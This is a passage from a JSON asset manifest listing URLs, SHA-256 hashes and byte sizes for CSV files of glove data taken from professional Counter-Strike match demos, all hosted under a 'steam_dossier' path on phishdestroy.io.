          "sha256": "92eb9b3930dcd4b113a9f2000a2d7b8eca81ca3e7d59705ef3218b64ca1d44a0",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m1-nuke.dem.gloves.csv",
          "sha256": "071252024ace78f03ff67b2afde0c3a8ae7a0fded7667acba363b8821a166e91",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m2-ancient.dem.gloves.csv",
          "sha256": "073b39199a434b800ae6b150ab59b844428a06fd808a4a5e9772b8969fb56d17",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m3-mirage.dem.gloves.csv",
          "sha256": "8613965af9bbd32be1244274d59bd9828bfa3fc2f037a309b733c426110730ee",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m1-overpass.dem.gloves.csv",
          "sha256": "f88e6f7ecc85d4d6be643e661bb5f314911c709e76bf61abb413d0f618705395",
          "bytes": 669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m2-inferno.dem.gloves.csv",
          "sha256": "6d85f45836c4b23615c063bae3bf8d040c00ade827501007f4efe21f4a40a209",
          "bytes": 669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m3-ancient.dem.gloves.csv",
          "sha256": "0cd8962c7fc0e902b388ee9598cea3b40ea824d1f860cc867005c70c9f07df73",
          "bytes": 669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m1-nuke.dem.gloves.csv",
          "sha256": "376a81d52b20d6948c743a2defc06258c3dbb843ffe05dbec6ba6c28f7881764",
          "bytes": 662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m2-anubis.dem.gloves.csv",
          "sha256": "38021718d6be01c1b75dacaac583c015550b1fc98769fe6e6c8fe524001c6d81",
          "bytes": 662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m3-mirage.dem.gloves.csv",
          "sha256": "ca78757bca423e7e1600b36bff0567027b06dca5c547d1508ab6613abd87dbac",
          "bytes": 662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m1-overpass.dem.gloves.csv",
          "sha256": "2cd0ae628652f651e298b0b93a3f165f053efa0a5fce3dafc2253e5fd06617dc",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m2-vertigo.dem.gloves.csv",
          "sha256": "f29a28eb9ba9f4aee50b05649d620ca1c92e923091c708e9dc8e6056ee9a1761",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m3-inferno.dem.gloves.csv",
          "sha256": "d375f560911e854c8edc0c64139ab38e605443407f2d50c2757a95a914968ae9",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m1-inferno.dem.gloves.csv",
          "sha256": "afaa0f1578a250c96db75c3bd4fd1c7a1f9465a5b51e0957b375404376296b8e",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m2-vertigo.dem.gloves.csv",
          "sha256": "e47b846d78ecc96fa62024955e1877e12f7f1f18176909dd2eaf6ef76d666e58",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m3-anubis.dem.gloves.csv",
          "sha256": "b9420ce28c75e990cd63a2e2b0ed3a5afc191cf0ecf75313e601ffaff8d2ebf4",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m1-inferno.dem.gloves.csv",
          "sha256": "71f2ced6cb0e422b56a09ac7b0067935268af49bd68fadf19b2f2e378f751229",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m2-vertigo.dem.gloves.csv",
          "sha256": "0a7feaa85e3d2d91ba089f55ff330a57336230fc356098a8ad094acea03ec765",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m3-anubis.dem.gloves.csv",
          "sha256": "514077209b1b0cf090d0a25fcc42c80b4c00059ba83a6ca52ce8316e1fd65ffa",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86066_heroic-vs-pain-m1-nuke.dem.gloves.csv",
          "sha256": "7c1520b28ad8c64ca6f80705fd438be597fba7e39383fb42e8da7afa5fa8cc01",
          "bytes": 665
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86066_heroic-vs-pain-m2-mirage.dem.gloves.csv",
          "sha256": "e0632da39deb8e6f68e14f619c86ae691a2e352f93c887f3f81279baa4a6add5",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m1-mirage.dem.gloves.csv",
          "sha256": "74ba148264ff6b1ee1a6280e6472423e0e03cd382a268471950c6f82dab5abda",
          "bytes": 669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m2-ancient.dem.gloves.csv",
          "sha256": "d274fa778a98e0078dc09614ae9103d3854629d0bc2e65a594264c9914ad78d0",
          "bytes": 669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m3-overpass.dem.gloves.csv",
          "sha256": "7783bc61439bca6fcd28cf2629424780a707719661b1494c237acf2bba9fa3b5",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86074_complexity-vs-faze-m1-nuke.dem.gloves.csv",
          "sha256": "bc2f2c5b0918d5d1af9411614c5d8d94564d5e7a78408c1ecd3e7d62b9cfb8ca",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86074_complexity-vs-faze-m2-overpass.dem.gloves.csv",
          "sha256": "bafa0add8608f51c5f7c8be13a5de0e3609eb6e4e35c754747551596c9f94458",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m1-overpass.dem.gloves.csv",
          "sha256": "fca009167ba751d3f2edb5e43bd3da52d54ca9e81d3b4f9deac4bcb142fc11ec",
          "bytes": 648
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m2-inferno.dem.gloves.csv",
          "sha256": "01122bb152a3da256d15daf75c9dc58229d5e15e35c582878e8e687b996d4321",
          "bytes": 648
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m3-anubis.dem.gloves.csv",
          "sha256": "95df0c658e53bf9fad87de4d6377ce7a992bc72d283ae8643040806f1b53a638",
          "bytes": 648
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86078_natus-vincere-vs-pain-m1-nuke.dem.gloves.csv",
          "sha256": "941a607ef56d0a5913993701e8f26061db42026b79cc7724c0426f81b85b10e4",
          "bytes": 659
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86078_natus-vincere-vs-pain-m2-mirage.dem.gloves.csv",
          "sha256": "604eb615c29019db4522d5abf0d98a7df1d264ec7ffcf440080f5769bb4dacd4",
          "bytes": 659
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86154_cloud9-vs-vitality-m1-inferno.dem.gloves.csv",
          "sha256": "a26ad65b6398e41937c8d2135f4dbae394272e712212ca97c0dec617ee814b9d",
          "bytes": 672
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86154_cloud9-vs-vitality-m2-anubis.dem.gloves.csv",
          "sha256": "ac87f92ed0c588ea00e5d2e47c55cd4fc96722bfbb4be9a92c19ec637df8e8c0",
          "bytes": 672
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m1-mirage.dem.gloves.csv",
          "sha256": "391e90e2626f649b29dd2f257964574247f7d56c4446781c2fddb2a0482920b8",
          "bytes": 664
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m2-nuke.dem.gloves.csv",
          "sha256": "9131bfb4d06873f7128a0e99368eb5815ea5ece0282f3ae880a09b4bb772aa88",
          "bytes": 665
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m3-vertigo.dem.gloves.csv",
          "sha256": "e7aace88f7c040810c8a1501fc2fd1665fa5d17c753c0df38d8b245f70274ecf",
          "bytes": 665
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86172_eternal-fire-vs-natus-vincere-m1-mirage.dem.gloves.csv",
          "sha256": "3da38a956401db901c436eba19d24c547f98cc7bfa60a462bb347bf61a307e4e",
          "bytes": 662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86172_eternal-fire-vs-natus-vincere-m2-inferno.dem.gloves.csv",
          "sha256": "8fb9c4ca4a83f3a1d65d44e4823b703d26d90d9f15939be251b06a5ade59b1f9",
          "bytes": 662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86175_mouz-vs-g2-m1-inferno.dem.gloves.csv",
          "sha256": "0e154a9d497a201fc5d104011c3bd742f1dd40317676716bb3627fe3af19e3f8",
          "bytes": 660
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86175_mouz-vs-g2-m2-vertigo.dem.gloves.csv",
          "sha256": "15f935a201626e15d55eb6fe4cb44d47b2be1b5936b2ead6716d0e8df9be36f3",
          "bytes": 660
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m1-nuke.dem.gloves.csv",
          "sha256": "8266da1234d66c570478cbabf2b1e9afba7c8fd8cbc94e1b7e136ab6c553ec73",
          "bytes": 662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m2-vertigo.dem.gloves.csv",
          "sha256": "d6c73cc7fcd746c15ace74701f9f0e546d9468d889b258d65b79c0783d18b509",
          "bytes": 662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m3-inferno.dem.gloves.csv",
          "sha256": "5fb1e6fbbbaa34414644f18ab7e938fb47bca672bcec538efe18467ce81e048a",
          "bytes": 662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m1-anubis.dem.gloves.csv",
          "sha256": "9f759df1fff358df7ac9e175db084e9b3d39d5b25a02027c7abe3100bccce3aa",
          "bytes": 658
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m2-nuke.dem.gloves.csv",
          "sha256": "12032693653098f8fe77786485336c88276bddbe77f564c338727eea93972ef5",
          "bytes": 658
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m3-ancient.dem.gloves.csv",
          "sha256": "275180cf724d2e7dc56e81d9df01f1da87a2b6a66bdb1d7abf711f9248c96aac",
          "bytes": 658
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m1-ancient.dem.gloves.csv",
          "sha256": "f912bd18f20de45cb1514e654f0ea1b82fc1a39111bb433b526e1f51a7fa0567",
          "bytes": 660
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m2-mirage.dem.gloves.csv",
          "sha256": "f4055f6f35e639eb031809cf6c9386fc5064d668f3159b67b8bcdceb436a564b",
          "bytes": 660
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m3-inferno.dem.gloves.csv",
          "sha256": "a57af9402ccfdd2d72850664525490f34de6f8c30937de3a1cc86c6a6737bb1f",
          "bytes": 660
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92883_natus-vincere-vs-liquid-nuke.dem.gloves.csv",
          "sha256": "41e38562847a02e677bd34cafdb30278e62411c0b9824c7557f23ab165072a49",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92886_spirit-vs-furia-dust2.dem.gloves.csv",
          "sha256": "646efaa42fbd42c2758181d21a68dec9a4a58a09e84501dd0b37f767b620ca64",
          "bytes": 658
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92887_mouz-vs-pain-nuke.dem.gloves.csv",
          "sha256": "8befc232913d339ce5f9dbf150284402bdfdcd82064ff5644b6380a76cbfc8a5",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92894_liquid-vs-gamerlegion-inferno.dem.gloves.csv",
          "sha256": "5a10b30a68bd230f8545fe5f27f23624c1abd2be8acd3781721c58601c846039",
          "bytes": 669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92895_vitality-vs-furia-mirage.dem.gloves.csv",
          "sha256": "0dca61a2d65d6f2f1100a0f9f5c065d5cc760863ebe43fa6d12af740af371201",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92896_mouz-vs-the-mongolz-mirage.dem.gloves.csv",
          "sha256": "283a12bdf3186ddb41ce9324cf629b4ef9fa69a556da984a2ed3242afce2ede5",
          "bytes": 669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92897_spirit-vs-wildcard-ancient.dem.gloves.csv",
          "sha256": "fd58878724c9b046c7ee318b346b0b033efe1e4d37195af92b42670f6e3542c2",
          "bytes": 653
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92918_g2-vs-3dmax-ancient.dem.gloves.csv",
          "sha256": "4e084c113380209cbc758787aec7500e057c0f748ab18c76f96d2cedbed44c5b",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92943_big-vs-faze-m1-inferno.dem.gloves.csv",
          "sha256": "732441b5fa31370297586043bda466dd8984c5fbe540dd11c6b8a6415740aa7a",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92943_big-vs-faze-m2-mirage.dem.gloves.csv",
          "sha256": "a1bc9ff01adabf9731d436ebb4dbe33bdc6597411d7d92e82e3eccf7de3eef18",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m1-mirage.dem.gloves.csv",
          "sha256": "b6c9c0d6dec953f6ee59f5dc895302b72277d9ca25fc00ccca0340b163a2404d",
          "bytes": 675
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m2-nuke.dem.gloves.csv",
          "sha256": "454df9c6e1cf5f5180bc766df08abed0e64472a84191fca08af563e1fccf846f",
          "bytes": 674
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m3-anubis.dem.gloves.csv",
          "sha256": "566d2f607747a832b88c0736deb22170743051383f7624abac4a0afd7b78002d",
          "bytes": 674
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m1-vertigo.dem.gloves.csv",
          "sha256": "f0ea00777fb98de4d45623d6b86647fb31fac193e11aeab80c8a98729fb338ca",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m2-mirage.dem.gloves.csv",
          "sha256": "67b62be34e63965feeeef138039d4d32995b6e15fd5f3b290632e4d06feb2728",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m3-inferno.dem.gloves.csv",
          "sha256": "9881ce0918a8f15b5718ee6874c084b49d3353972a88828c6563ff62108b17d0",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m1-ancient.dem.gloves.csv",
          "sha256": "240d99bf4817ec3b6b5eb58fc096994bdcc2a007cf3816d2434f1471c28cffb0",
          "bytes": 660
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m2-mirage.dem.gloves.csv",
          "sha256": "7bd5c4d41e6684ce20205e42a9477e76ef1f0d2cb7d29d7f5a55cd5488d8818b",
          "bytes": 660
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m3-dust2.dem.gloves.csv",
          "sha256": "8a2d120440eaf1c75de77988768d9cf3c28d5924ab90d68b86b44c7f9661f667",
          "bytes": 660
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92980_mibr-vs-mouz-m1-mirage.dem.gloves.csv",
          "sha256": "07106cd6ee7cfba819decf4d9f609f1cb333bcb540e5196b2ab3b2dd451e1465",
          "bytes": 674
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92980_mibr-vs-mouz-m2-nuke.dem.gloves.csv",
          "sha256": "0d5c99f82335e3f98c0bcb887ce753c5bba1fec8a03e147d94348434214571e7",
          "bytes": 674
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m1-mirage.dem.gloves.csv",
          "sha256": "0dd0c8a3f5e065662aa92f3dc4921efa071c310100be0f552be82d7efe75d6d3",
          "bytes": 657
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m2-nuke.dem.gloves.csv",
          "sha256": "c7a955c9ef1b1a4748427dff6eeef1e1834360ceafc6c58ab8de223f3ce27476",
          "bytes": 656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m3-ancient.dem.gloves.csv",
          "sha256": "3467eec3266709f71c917ce356fc763a455015464aad77dfa267b0307bf48676",
          "bytes": 656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m1-inferno.dem.gloves.csv",
          "sha256": "7057b40f744cd72c9244fecd93e9499848a88feb6ac57088f7f89972ab59d681",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m2-dust2.dem.gloves.csv",
          "sha256": "88a38f457c42d316f8d7c367f370bf491fe1c37339ece98bdbf60b11815bfa01",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m3-mirage.dem.gloves.csv",
          "sha256": "d33ea49009858e1e5c05cb6375565a493a9109df185e9813db443337ff289975",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93035_the-mongolz-vs-mouz-m1-ancient.dem.gloves.csv",
          "sha256": "b43804f0b91bc641d88036a7ee821f0b7e71415d22a8098ffa543bae3351b44d",
          "bytes": 669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93035_the-mongolz-vs-mouz-m2-nuke.dem.gloves.csv",
          "sha256": "2cfaeb337710632ade7f78901e8bfd0d136273beb292e869b185846af00474a9",
          "bytes": 669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93037_spirit-vs-liquid-m1-anubis.dem.gloves.csv",
          "sha256": "2c7e66f51a2b38fb3caa45c7081bced05efa3b362f46b6d0a6c23116e3acedb3",
          "bytes": 671
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93037_spirit-vs-liquid-m2-dust2.dem.gloves.csv",
          "sha256": "628b14adf1050974b442853473d52c6a0c78de855eeee4cc7274404f5599697e",
          "bytes": 671
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m1-ancient.dem.gloves.csv",
          "sha256": "f3d3a71bf277ec874050e0d4ab58a90be0e9174ca0cbaaa56d9276beb1917816",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m2-nuke.dem.gloves.csv",
          "sha256": "19101acac48e3247c3277359164098fee84e0572ab3d39e80ccfe4f9f3d2ea32",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m3-mirage.dem.gloves.csv",
          "sha256": "bf7036c221e6c2beba4dc67d0ca72156a69fb92013e9b31e089f5c700fc08d47",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m1-nuke.dem.gloves.csv",
          "sha256": "246559a539f64969837cee1df261f0471fa47fb69a5b8ef94be2699e5e20a919",
          "bytes": 669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m2-mirage.dem.gloves.csv",
          "sha256": "c958a06a9656589deba5b1d2b5ae00b35cb9f6a0c175eee6aee1846c71ed457e",
          "bytes": 669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m3-anubis.dem.gloves.csv",
          "sha256": "be371db05f08b7392783376468c3e22ec3bbf637c95f88593dee777e8119fc77",
          "bytes": 669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m1-nuke.dem.gloves.csv",
          "sha256": "8215eae3ac15b73ddc53244c18dcfba00867946df8bdceb8a9f0e45dd240d056",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m2-ancient.dem.gloves.csv",
          "sha256": "08f099fdb340a848239613877157be7316cc41eb97450cbf940076a572fd1f5d",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m3-mirage.dem.gloves.csv",
          "sha256": "44706c3c98671df3287cb9b5fa49479eb8132ea026e5aa24094e92b07f144f6a",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93076_g2-vs-faze-m1-ancient.dem.gloves.csv",
          "sha256": "566dfeb23511faa79e2c2378f856af4c7d640f64d5c3891475a04bf341553e78",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93076_g2-vs-faze-m2-nuke.dem.gloves.csv",
          "sha256": "90ceb07a919e7c8d8a101ba162a1bed4a5a9e80e34b7e99827825f73dc224004",
          "bytes": 667
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m1-nuke.dem.gloves.csv",
          "sha256": "dc684be6221d75051bef21074e35b3f2b67f4e1722bd24317fe22e45322e1255",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m2-ancient.dem.gloves.csv",
          "sha256": "2885e2e7537b6eb7321c4d8445339cf35dba14810368647bbe376ca1014c74d5",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m3-dust2.dem.gloves.csv",
          "sha256": "3388ea3d0f752fc3ddec170f02bd6f995c165ec1376879ec50baafd52ac13116",
          "bytes": 666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97739_mouz-vs-virtuspro-mirage.dem.gloves.csv",
          "sha256": "919735ec10ada895ee2448086780662944698b82b6b0683393d93831cf4ffa87",
          "bytes": 668
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97740_spirit-vs-pain-dust2.dem.gloves.csv",
          "sha256": "0a6b8b49933d3d6985ebdb441b8c27218ea7ce7ac50b6f3209e06ce9d3c12bfd",
          "bytes": 655
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97741_g2-vs-3dmax-nuke.dem.gloves.csv",
          "sha256": "f9f1185cf62467561aae4ca4cb6aa12e50e03a78d720a17e36c2c53600dc6ab9",
          "bytes": 670
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97743_aurora-vs-faze-anubis.dem.gloves.csv",
          "sha256": "017f5720b8495aed1b757104833a493a39917f1855e5049fcd3ffda5b98c9edc",
          "bytes": 652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97745_the-mongolz-vs-furia-inferno.dem.gloves.csv",
          "sha256": "b30f3f5002876b0e58b6ef002f53ec4220baa3bde9fab2b5a8950beaea0973a1",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97748_liquid-vs-lynn-vision-dust2.dem.gloves.csv",
          "sha256": "cf07773a4f85daf5e4d0ba8f58e5b88d8cc1bba0915d677e3f3432ce15851272",
          "bytes": 675
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97750_aurora-vs-furia-dust2.dem.gloves.csv",
          "sha256": "91a0fc1efc055cdd71631337ea5f33998000480e0083fa48704492cd969898ba",
          "bytes": 658
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97751_virtus-pro-vs-legacy-ancient.dem.gloves.csv",
          "sha256": "a4f14ed4fa3a50723b7f5516fddd210ca2a6b4e84dd1eb3846987c2284cc0af5",
          "bytes": 662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97752_3dmax-vs-natus-vincere-inferno.dem.gloves.csv",
          "sha256": "1211f057e31e709cc053a4cc816e654d818cbd9cb1492acc8b143db3c5671eda",
          "bytes": 663
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97754_mouz-vs-faze-ancient.dem.gloves.csv",
          "sha256": "6a6a1e0b912a1cad30679a021f78befa767a469cfed107678dcc31ab78d24e56",
          "bytes": 664
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97755_vitality-vs-nemiga-dust2.dem.gloves.csv",
          "sha256": "baa2abf3a68a8de3fea332e6ff93a5027f96159732f9b857f6ec283f10e3c35d",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97757_g2-vs-pain-dust2.dem.gloves.csv",
          "sha256": "4fc4cd87698949e0f478507ae1b13ea139f7b2785eeafc4922f4ef597a74c4cd",
          "bytes": 658
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97769_3dmax-vs-vitality-nuke.dem.gloves.csv",
          "sha256": "bea631f9ce279ed4b6c1cc3c09ca503e16ee5e85c11924d11458951d20c1a19c",
          "bytes": 663
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97770_legacy-vs-faze-anubis.dem.gloves.csv",
          "sha256": "8e6872b4719f34939be54eb63fe641305ab3fc1eb3d6a3be3b128c79218726db",
          "bytes": 655
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97772_aurora-vs-g2-inferno.dem.gloves.csv",
          "sha256": "4f72d71dd6c3fcd4fe4f8d0b322715a599802b575908c89f74448bbf745ec87f",
          "bytes": 663
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97776_spirit-vs-natus-vincere-m1-anubis.dem.gloves.csv",
          "sha256": "4aa91cd87e99baa176b224ecea429a9be668efd6ad1cbad46da40e646af98c89",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97776_spirit-vs-natus-vincere-m2-train.dem.gloves.csv",
          "sha256": "2dd18cbfe0cac1e6fc5bce969d65e813ac5436265b0addddbf9e1b2b54621c2a",
          "bytes": 661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m1-ancient.dem.gloves.csv",
          "sha256": "0fe3f013679f0fbf8e1b58dc4624f9edf1dffe6b73024d650becdf892a5b94c4",
          "bytes": 655
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m2-anubis.dem.gloves.csv",
          "sha256": "d07162e086d5e83e252aa37ebf74c223d51ffcd39fffd4d4e79fd806779a921f",
          "bytes": 655
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m3-dust2.dem.gloves.csv",
          "sha256": "d468da498171ac19fe1f9c1d338d66eada1864c5ed87943422d8f3d3c4c7d2df",
          "bytes": 655
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m1-dust2.dem.gloves.csv",
